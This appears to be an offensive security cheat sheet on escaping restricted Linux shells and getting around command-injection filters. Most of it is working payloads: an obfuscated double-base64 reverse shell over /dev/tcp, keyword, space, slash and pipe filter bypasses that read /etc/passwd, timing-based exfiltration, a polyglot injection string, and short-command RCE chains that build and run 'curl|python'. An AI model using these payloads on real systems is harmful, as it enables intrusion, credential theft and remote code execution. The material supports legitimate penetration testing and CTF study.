Bypass Linux Shell Restrictions

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Common Limitations Bypasses

Reverse Shell

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/ 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Short Rev shell

#Trick from Dikline
#Get a rev shell with
#Then get the out of the rev shell executing inside of it:
exec >&0

Bypass Paths and forbidden words

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
\u\n\a\m\e \-\a # uname -a
who[email protected]ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

Bypass forbidden spaces

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
# Using hex format
# Using tabs
echo "ls\x09-l" | bash
# New lines
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

Bypass backslash and slash

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Bypass pipes

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Bypass with hex encoding

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Bypass IPs

# Decimal IPs == 2130706433

Time based data exfiltration

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Getting chars from Env Variables

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

DNS data exfiltration

You could use burpcollab or pingb for example.


In case you cannot execute external functions and only have access to a limited set of builtins to obtain RCE, there are some handy tricks to do it. Usually you won't be able to use all of the builtins, so you should know all your options to try to bypass the jail. Idea from devploit. First of all check all the shell builtins. Then here you have some recommendations:
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
# Get history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

Polyglot command injection

/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Bypass potential regexes

# A regex that only allow letters and numbers might be vulnerable to new line characters


# From
./bashfuscator -c 'cat /etc/passwd'

RCE with 5 chars

# From the Organge Tsai BabyFirst Revenge challenge:
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>\ \
## Step2: generate `curl|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>\ \
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
## Execute tar command over a folder>tar>zcf>zzz*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

RCE with 4 chars

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
# reverse file "v" to file "x", content "ls -th >g"
# generate "curl|python;"
'>\ \\'
# got shell
'sh x'
'sh g'

Read-Only/Noexec Bypass

If you are inside a filesystem with the read-only and noexec protections there are still ways to execute arbitrary binaries. One of them is by the use of DDexec, yo can find an explanation of the technique in:

Chroot & other Jails Bypass

References & More

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